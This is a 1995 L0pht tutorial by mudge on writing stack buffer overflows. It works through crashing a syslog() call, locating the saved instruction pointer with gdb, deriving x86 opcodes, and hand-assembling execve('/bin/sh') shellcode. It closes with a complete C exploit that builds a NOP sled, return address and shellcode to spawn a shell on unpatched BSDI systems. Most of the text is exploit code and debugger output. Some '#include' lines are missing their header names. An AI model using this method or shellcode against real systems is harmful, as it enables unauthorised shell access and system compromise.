how to write buffer overflows

l0pht advisories

How to write Buffer Overflows

This is really rough, and some of it is not needed. I wrote this as a

reminder note to myself as I really didn't want to look at any more

AT&T assembly again for a while and was afraid I would forget what I

had done. If you are an old assembly guru then you might scoff at some

of this... oh well, it works and that's a hack in itself.

-by mudge@l0pht.com 10/20/95

test out the program (duh).

--------syslog_test_1.c------------

#include

char buffer[4028];

void main() {

int i;

for (i=0; i<=4028; i++)

buffer[i]='A';

syslog(LOG_ERR, buffer);

}

--------end syslog_test_1.c----------

Compile the program and run it. Make sure you include the symbol table

for the debugger or not... depending upon how macho you feel today.

bash$ gcc -g buf.c -o buf

bash$ buf

Segmentation fault (core dumped)

The 'Segmentation fault (core dumped)' is what we wanted to see. This

tells us there is definately an attempt to access some memory address

that we shouldn't. If you do much in 'C' with pointers on a unix

machine you have probably seen this (or Bus error) when pointing or

dereferencing incorrectly.

Fire up gdb on the program (with or without the core file). Assuming

you remove the core file (this way you can learn a bit about gdb), the

steps would be as follows:

bash$ gdb buf

(gdb) run

Starting program: /usr2/home/syslog/buf

Program received signal 11, Segmentation fault

0x1273 in vsyslog (0x41414141, 0x41414141, 0x41414141, 0x41414141)

Ok, this is good. The 41's you see are the hex equivallent for the

ascii character 'A'. We are definately going places where we shouldn't

be.

(gdb) info all-registers

eax 0xefbfd641 -272640447

ecx 0x00000000 0

edx 0xefbfd67c -272640388

ebx 0xefbfe000 -272637952

esp 0xefbfd238 0xefbfd238

ebp 0xefbfde68 0xefbfde68

esi 0xefbfd684 -272640380

edi 0x0000cce8 52456

eip 0x00001273 0x1273

ps 0x00010212 66066

cs 0x0000001f 31

ss 0x00000027 39

ds 0x00000027 39

es 0x00000027 39

fs 0x00000027 39

gs 0x00000027 39

The gdb command 'info all-registers' shows the values in the current

hardware registers. The one we are really interested in is 'eip'. On

some platforms this will be called 'ip' or 'pc'. It is the Instruction

Pointer [also called Program Counter]. It points to the memory

location of the next instruction the processor will execute. By

overwriting this you can point to the beginning of your own code and

the processor will merrily start executing it assuming you have it

written as native opcodes and operands.

In the above we haven't gotten exactly where we need to be yet. If you

want to see where it crashed out do the following:

(gdb) disassemble 0x1273

[stuff deleted]

0x1267 : incl 0xfffff3dc(%ebp)

0x126d : testb %al,%al

0x126f : jne 0x125c

0x1271 : jmp 0x1276

0x1273 : movb %al,(%ebx)

0x1275 : incl %ebx

0x1276 : incl %edi

0x1277 : movb (%edi),%al

0x1279 : testb %al,%al

If you are familiar with microsoft assembler this will be a bit

backwards to you. For example: in microsoft you would 'mov ax,cx' to

move cx to ax. In AT&T 'mov ax,cx' moves ax to cx. So put on those

warp refraction eye-goggles and on we go.

Note also that Intel assembler

let's go back and tweak the original source code some eh?

-------------syslog_test_2.c-------------

#include

char buffer[4028];

void main() {

int i;

for (i=0; i<2024; i++)

buffer[i]='A';

syslog(LOG_ERR, buffer);

}

-----------end syslog_test_2.c-------------

We're just shortening the length of 'A''s.

bash$ gcc -g buf.c -o buf

bash$ gdb buf

(gdb) run

Starting program: /usr2/home/syslog/buf

Program received signal 5, Trace/BPT trap

0x1001 in ?? (Error accessing memory address 0x41414149: Cannot

allocate memory.

This is the magic response we've been looking for.

(gdb) info all-registers

eax 0xffffffff -1

ecx 0x00000000 0

edx 0x00000008 8

ebx 0xefbfdeb4 -272638284

esp 0xefbfde70 0xefbfde70

ebp 0x41414141 0x41414141 <- here it is!!!

esi 0xefbfdec0 -272638272

edi 0xefbfdeb8 -272638280

eip 0x00001001 0x1001

ps 0x00000246 582

cs 0x0000001f 31

ss 0x00000027 39

ds 0x00000027 39

es 0x00000027 39

fs 0x00000027 39

gs 0x00000027 39

Now we move it along until we figure out where eip lives in the

overflow (which is right after ebp in this arch architecture). With

that known fact we only have to add 4 more bytes to our buffer of

'A''s and we will overwrite eip completely.

---------syslog_test_3.c----------------

#include

char buffer[4028];

void main() {

int i;

for (i=0; i<2028; i++)

buffer[i]='A';

syslog(LOG_ERR, buffer);

}

-------end syslog_test_3.c------------

bash$ !gc

gcc -g buf.c -o buf

bash$ gdb buf

(gdb) run

Starting program: /usr2/home/syslog/buf

Program received signal 11, Segmentation fault

0x41414141 in errno (Error accessing memory address

0x41414149: Cannot allocate memory.

(gdb) info all-registers

eax 0xffffffff -1

ecx 0x00000000 0

edx 0x00000008 8

ebx 0xefbfdeb4 -272638284

esp 0xefbfde70 0xefbfde70

ebp 0x41414141 0x41414141

esi 0xefbfdec0 -272638272

edi 0xefbfdeb8 -272638280

eip 0x41414141 0x41414141

ps 0x00010246 66118

cs 0x0000001f 31

ss 0x00000027 39

ds 0x00000027 39

es 0x00000027 39

fs 0x00000027 39

gs 0x00000027 39

BINGO!!!

Here's where it starts to get interesting. Now that we know eip starts

at buffer[2024] and goes through buffer[2027] we can load it up with

whatever we need. The question is... what do we need?

We find this by looking at the contents of buffer[].

(gdb) disassemble buffer

[stuff deleted]

0xc738 : incl %ecx

0xc739 : incl %ecx

0xc73a : incl %ecx

0xc73b : incl %ecx

0xc73c : addb %al,(%eax)

0xc73e : addb %al,(%eax)

0xc740 : addb %al,(%eax)

[stuff deleted]

On the Intel x86 architecture [a pentium here but that doesn't matter]

incl %eax is opcode 0100 0001 or 41hex. addb %al,(%eax) is 0000 0000

or 0x0 hex. We will load up buffer[2024] to buffer[2027] with the

address of 0xc73c where we will start our code. You have two options

here, one is to load the buffer up with the opcodes and operands and

point the eip back into the buffer; the other option is what we are

going to be doing which is to put the opcodes and operands after the

eip and point to them.

The advantage to putting the code inside the buffer is that other than

the ebp and eip registers you don't clobber anything else. The

disadvantage is that you will need to do trickier coding (and actually

write the assembly yourself) so that there are no bytes that contain

0x0 which will look like a null in the string. This will require you

to know enough about the native chip architecture and opcodes to do

this [easy enough for some people on Intel x86's but what happens when

you run into an Alpha? -- lucky for us there is a gdb for Alpha I

think ;-)].

The advantage to putting the code after the eip is that you don't have

to worry about bytes containing 0x0 in them. This way you can write

whatever program you want to execute in 'C' and have gdb generate most

of the machine code for you. The disadvantage is that you are

overwriting the great unknown. In most cases the section you start to

overwrite here contains your environment variables and other

whatnots.... upon succesfully running your created code you might be

dropped back into a big void. Deal with it.

The safest instruction is NOP which is a benign no-operation. This is

what you will probably be loading the buffer up with as filler.

Ahhh but what if you don't know what the opcodes are for the

particular architecture you are on. No problem. gcc has a wonderfull

function called __asm__(char *); I rely upon this heavily for doing

buffer overflows on architectures that I don't have assembler books

for.

------nop.c--------

void main(){

__asm__("nop\n");

}

----end nop.c------

bash$ gcc -g nop.c -o nop

bash$ gdb nop

(gdb) disassemble main

Dump of assembler code for function main:

to 0x1088:

0x1080 : pushl %ebp

0x1081 : movl %esp,%ebp

0x1083 : nop

0x1084 : leave

0x1085 : ret

0x1086 : addb %al,(%eax)

End of assembler dump.

(gdb) x/bx 0x1083

0x1083 : 0x90

Since nop is at 0x1083 and the next instruction is at 0x1084 we know

that nop only takes up one byte. Examining that byte shows us that it

is 0x90 (hex).

Our program now looks like this:

------ syslog_test_4.c---------

#include

char buffer[4028];

void main() {

int i;

for (i=0; i<2024; i++)

buffer[i]=0x90;

i=2024;

buffer[i++]=0x3c;

buffer[i++]=0xc7;

buffer[i++]=0x00;

syslog(LOG_ERR, buffer);

}

------end syslog_test_4.c-------

Notice you need to load the eip backwards ie 0000c73c is loaded into

the buffer as 3c c7 00 00.

Now the question we have is what is the code we insert from here on?

Suppose we want to run /bin/sh? Gee, I don't have a friggin clue as to

why someone would want to do something like this, but I hear there are

a lot of nasty people out there. Oh well. Here's the proggie we want

to execute in C code:

------execute.c--------

#include

main()

{

char *name[2];

name[0] = "sh";

name[1] = NULL;

execve("/bin/sh",name,NULL);

}

----end execute.c-------

bash$ gcc -g execute.c -o execute

bash$ execute

Ok, the program works. Then again, if you couldn't whip up that little

prog you should probably throw in the towel here. Maybe become a

webmaster or something that requires little to no programming (or

brainwave activity period). Here's the gdb scoop:

bash$ gdb execute

(gdb) disassemble main

Dump of assembler code for function main:

to 0x10b8:

0x1088 : pushl %ebp

0x1089 : movl %esp,%ebp

0x108b : subl $0x8,%esp

0x108e : movl $0x1080,0xfffffff8(%ebp)

0x1095 : movl $0x0,0xfffffffc(%ebp)

0x109c : pushl $0x0

0x109e : leal 0xfffffff8(%ebp),%eax

0x10a1 : pushl %eax

0x10a2 : pushl $0x1083

0x10a7 : call 0x10b8

0x10ac : leave

0x10ad : ret

0x10ae : addb %al,(%eax)

0x10b0 : jmp 0x1140

0x10b5 : addb %al,(%eax)

0x10b7 : addb %cl,0x3b05(%ebp)

End of assembler dump.

(gdb) disassemble execve

Dump of assembler code for function execve:

to 0x10c8:

0x10b8 : leal 0x3b,%eax

0x10be : lcall 0x7,0x0

0x10c5 : jb 0x10b0

0x10c7 : ret

End of assembler dump.

This is the assembly behind what our execute program does to run

/bin/sh. We use execve() as it is a system call and this is what we

are going to have our program execute (ie let the kernel service run

it as opposed to having to write it from scratch).

0x1083 contains the /bin/sh string and is the last thing pushed onto

the stack before the call to execve.

(gdb) x/10bc 0x1083

0x1083 : 47 '/' 98 'b' 105 'i' 110 'n' 47 '/' 115 's'

104 'h' 0 '\000'

(0x1080 contains the arguments...which I haven't been able to really

clean up).

We will replace this address with the one where our string lives [when

we decide where that will be].

Here's the skeleton we will use from the execve disassembly:

[main]

0x108d : movl %esp,%ebp

0x108e : movl $0x1083,0xfffffff8(%ebp)

0x1095 : movl $0x0,0xfffffffc(%ebp)

0x109c : pushl $0x0

0x109e : leal 0xfffffff8(%ebp),%eax

0x10a1 : pushl %eax

0x10a2 : pushl $0x1080

[execve]

0x10b8 : leal 0x3b,%eax

0x10be : lcall 0x7,0x0

All you need to do from here is to build up a bit of an environment

for the program. Some of this stuff isn't necesary but I have it in

still as I haven't fine tuned this yet.

I clean up eax. I don't remember why I do this and it shouldn't really

be necesarry. Hell, better quit hitting the sauce. I'll figure out if

it is after I tune this up a bit.

xorl %eax,%eax

We will encapsulate the actuall program with a jmp to somewhere and a

call right back to the instruction after the jmp. This pushes ecx and

esi onto the stack.

jmp 0x???? # this will jump to the call...

popl %esi

popl %ecx

The call back will be something like:

call 0x???? # this will point to the instruction after the jmp (ie

# popl %esi)

All put together it looks like this now:

----------------------------------------------------------------------

movl %esp,%ebp

xorl %eax,%eax

jmp 0x???? # we don't know where yet...

# -------------[main]

movl $0x????,0xfffffff8(%ebp) # we don't know what the address will

# be yet.

movl $0x0,0xfffffffc(%ebp)

pushl $0x0

leal 0xfffffff8(%ebp),%eax

pushl %eax

pushl $0x???? # we don't know what the address will

# be yet.

# ------------[execve]

leal 0x3b,%eax

lcall 0x7,0x0

call 0x???? # we don't know where yet...

----------------------------------------------------------------------

There are only a couple of more things that we need to add before we

fill in the addresses to a couple of the instructions.

Since we aren't actually calling execve with a 'call' anymore here, we

need to push the value in ecx onto the stack to simulate it.

# ------------[execve]

pushl %ecx

leal 0x3b,%eax

lcall 0x7,0x0

The only other thing is to not pass in the arguments to /bin/sh. We do

this by changing the ' leal 0xfffffff8(%ebp),%eax' to ' leal

0xfffffffc(%ebp),%eax' [remember 0x0 was moved there].

So the whole thing looks like this (without knowing the addresses for

the '/bin/sh\0' string):

movl %esp,%ebp

xorl %eax,%eax # we added this

jmp 0x???? # we added this

popl %esi # we added this

popl %ecx # we added this

movl $0x????,0xfffffff5(%ebp)

movl $0x0,0xfffffffc(%ebp)

pushl $0x0

leal 0xfffffffc(%ebp),%eax # we changed this

pushl %eax

pushl $0x????

leal 0x3b,%eax

pushl %ecx # we added this

lcall 0x7,0x0

call 0x???? # we added this

To figure out the bytes to load up our buffer with for the parts that

were already there run gdb on the execute program.

bash$ gdb execute

(gdb) disassemble main

Dump of assembler code for function main:

to 0x10bc:

0x108c : pushl %ebp

0x108d : movl %esp,%ebp

0x108f : subl $0x8,%esp

0x1092 : movl $0x1080,0xfffffff8(%ebp)

0x1099 : movl $0x0,0xfffffffc(%ebp)

0x10a0 : pushl $0x0

0x10a2 : leal 0xfffffff8(%ebp),%eax

0x10a5 : pushl %eax

0x10a6 : pushl $0x1083

0x10ab : call 0x10bc

0x10b0 : leave

0x10b1 : ret

0x10b2 : addb %al,(%eax)

0x10b4 : jmp 0x1144

0x10b9 : addb %al,(%eax)

0x10bb : addb %cl,0x3b05(%ebp)

End of assembler dump.

[get out your scratch paper for this one... ]

0x108d : movl %esp,%ebp

this goes from 0x108d to 0x108e. 0x108f starts the next instruction.

thus we can see the machine code with gdb like this.

(gdb) x/2bx 0x108d

0x108d : 0x89 0xe5

Now we know that buffer[2028]=0x89 and buffer[2029]=0xe5. Do this for

all of the instructions that we are pulling out of the execute

program. You can figure out the basic structure for the call command

by looking at the one inexecute that calls execve. Of course you will

eventually need to put in the proper address.

When I work this out I break down the whole program so I can see

what's going on. Something like the following

0x108c : pushl %ebp

0x108d : movl %esp,%ebp

0x108f : subl $0x8,%esp

(gdb) x/bx 0x108c

0x108c : 0x55

(gdb) x/bx 0x108d

0x108d : 0x89

(gdb) x/bx 0x108e

0x108e : 0xe5

(gdb) x/bx 0x108e

0x108f : 0x83

so we see the following from this:

0x55 pushl %ebp

0x89 movl %esp,%ebp

0xe5

0x83 subl $0x8,%esp

etc. etc. etc.

For commands that you don't know the opcodes to you can find them out

for the particular chip you are on by writing little scratch programs.

----pop.c-------

void main() {

__asm__("popl %esi\n");

}

---end pop.c----

bash$ gcc -g pop.c -o pop

bash$ gdb pop

(gdb) disassemble main

Dump of assembler code for function main:

to 0x1088:

0x1080 : pushl %ebp

0x1081 : movl %esp,%ebp

0x1083 : popl %esi

0x1084 : leave

0x1085 : ret

0x1086 : addb %al,(%eax)

End of assembler dump.

(gdb) x/bx 0x1083

0x1083 : 0x5e

So, 0x5e is popl %esi. You get the idea. After you have gotten this

far build the string up (put in bogus addresses for the ones you don't

know in the jmp's and call's... just so long as we have the right

amount of space being taken up by the jmp and call instructions...

likewise for the movl's where we will need to know the memory location

of 'sh\0\0/bin/sh\0'.

After you have built up the string, tack on the chars for

sh\0\0/bin/sh\0.

Compile the program and load it into gdb. Before you run it in gdb set

a break point for the syslog call.

(gdb) break syslog

Breakpoint 1 at 0x1463

(gdb) run

Starting program: /usr2/home/syslog/buf

Breakpoint 1, 0x1463 in syslog (0x00000003, 0x0000bf50, 0x0000082c,

0xefbfdeac)

(gdb) disassemble 0xc73c 0xc77f

(we know it will start at 0xc73c since thats right after the

eip overflow... 0xc77f is just an educated guess as to where

it will end)

(gdb) disassemble 0xc73c 0xc77f

Dump of assembler code from 0xc73c to 0xc77f:

0xc73c : movl %esp,%ebp

0xc73e : xorl %eax,%eax

0xc740 : jmp 0xc76b

0xc742 : popl %esi

0xc743 : popl %ecx

0xc744 : movl $0xc770,0xfffffff5(%ebp)

0xc74b : movl $0x0,0xfffffffc(%ebp)

0xc752 : pushl $0x0

0xc754 : leal 0xfffffffc(%ebp),%eax

0xc757 : pushl %eax

0xc758 : pushl $0xc773

0xc75d : leal 0x3b,%eax

0xc763 : pushl %ecx

0xc764 : lcall 0x7,0x0

0xc76b : call 0xc742

0xc770 : jae 0xc7da

0xc772 : addb %ch,(%edi)

0xc774 : boundl 0x6e(%ecx),%ebp

0xc777 : das

0xc778 : jae 0xc7e2

0xc77a : addb %al,(%eax)

0xc77c : addb %al,(%eax)

0xc77e : addb %al,(%eax)

End of assembler dump.

Look for the last instruction in your code. In this case it was the

'call' to right after the 'jmp' near the beginning. Our data should be

right after it and indeed we see that it is.

(gdb) x/13bc 0xc770

0xc770 : 115 's' 104 'h' 0 '\000' 47 '/'

98 'b' 105 'i' 110 'n' 47 '/'

0xc778 : 115 's' 104 'h' 0 '\000' 0 '\000' 0 '\000'

Now go back into your code and put the appropriate addresses in the

movl and pushl. At this point you should also be able to put in the

appropriate operands for the jmp and call. Congrats... you are done.

Here's what the output will look like when you run this on a system

with the non patched libc/syslog bug.

bash$ buf

$ exit (do whatever here... you spawned a shell!!!!!! yay!)

bash$

Here's my original program with lot's of comments:

/*****************************************************************/

/* For BSDI running on Intel architecture -mudge, 10/19/95 */

/* by following the above document you should be able to write */

/* buffer overflows for other OS's on other architectures now */

/* mudge@l0pht.com */

/* */

/* note: I haven't cleaned this up yet... it could be much nicer */

/*****************************************************************/

#include

char buffer[4028];

void main () {

int i;

for(i=0; i<2024; i++)

buffer[i]=0x90;

/* should set eip to 0xc73c */

buffer[2024]=0x3c;

buffer[2025]=0xc7;

buffer[2026]=0x00;

buffer[2027]=0x00;

i=2028;

/* begin actuall program */

buffer[i++]=0x89; /* movl %esp, %ebp */

buffer[i++]=0xe5;

buffer[i++]=0x33; /* xorl %eax,%eax */

buffer[i++]=0xc0;

buffer[i++]=0xeb; /* jmp ahead */

buffer[i++]=0x29;

buffer[i++]=0x5e; /* popl %esi */

buffer[i++]=0x59; /* popl %ecx */

buffer[i++]=0xc7; /* movl $0xc770,0xfffffff8(%ebp) */

buffer[i++]=0x45;

buffer[i++]=0xf5;

buffer[i++]=0x70;

buffer[i++]=0xc7;

buffer[i++]=0x00;

buffer[i++]=0xc7; /* movl $0x0,0xfffffffc(%ebp) */

buffer[i++]=0x45;

buffer[i++]=0xfc;

buffer[i++]=0x00;

buffer[i++]=0x6a; /* pushl $0x0 */

buffer[i++]=0x00;

#ifdef z_out

buffer[i++]=0x8d; /* leal 0xfffffff8(%ebp),%eax */

buffer[i++]=0x45;

buffer[i++]=0xf8;

#endif

/* the above is what the disassembly of execute does... but we only

want to push /bin/sh to be executed... it looks like this leal

puts into eax the address where the arguments are going to be

passed. By pointing to 0xfffffffc(%ebp) we point to a null

and don't care about the args... could probably just load up

the first section movl $0x0,0xfffffff8(%ebp) with a null and

left this part the way it want's to be */

buffer[i++]=0x8d; /* leal 0xfffffffc(%ebp),%eax */

buffer[i++]=0x45;

buffer[i++]=0xfc;

buffer[i++]=0x50; /* pushl %eax */

buffer[i++]=0x68; /* pushl $0xc773 */

buffer[i++]=0x73;

buffer[i++]=0xc7;

buffer[i++]=0x00;

buffer[i++]=0x8d; /* lea 0x3b,%eax */

buffer[i++]=0x05;

buffer[i++]=0x3b;

buffer[i++]=0x00;

buffer[i++]=0x51; /* pushl %ecx */

buffer[i++]=0x9a; /* lcall 0x7,0x0 */

buffer[i++]=0x00;

buffer[i++]=0x07;

buffer[i++]=0x00;

buffer[i++]=0xe8; /* call back to ??? */

buffer[i++]=0xd2;

buffer[i++]=0xff;

buffer[i++]='s';

buffer[i++]='h';

buffer[i++]=0x00;

buffer[i++]='/';

buffer[i++]='b';

buffer[i++]='i';

buffer[i++]='n';

buffer[i++]='/';

buffer[i++]='s';

buffer[i++]='h';

buffer[i++]=0x00;

syslog(LOG_ERR, buffer);

}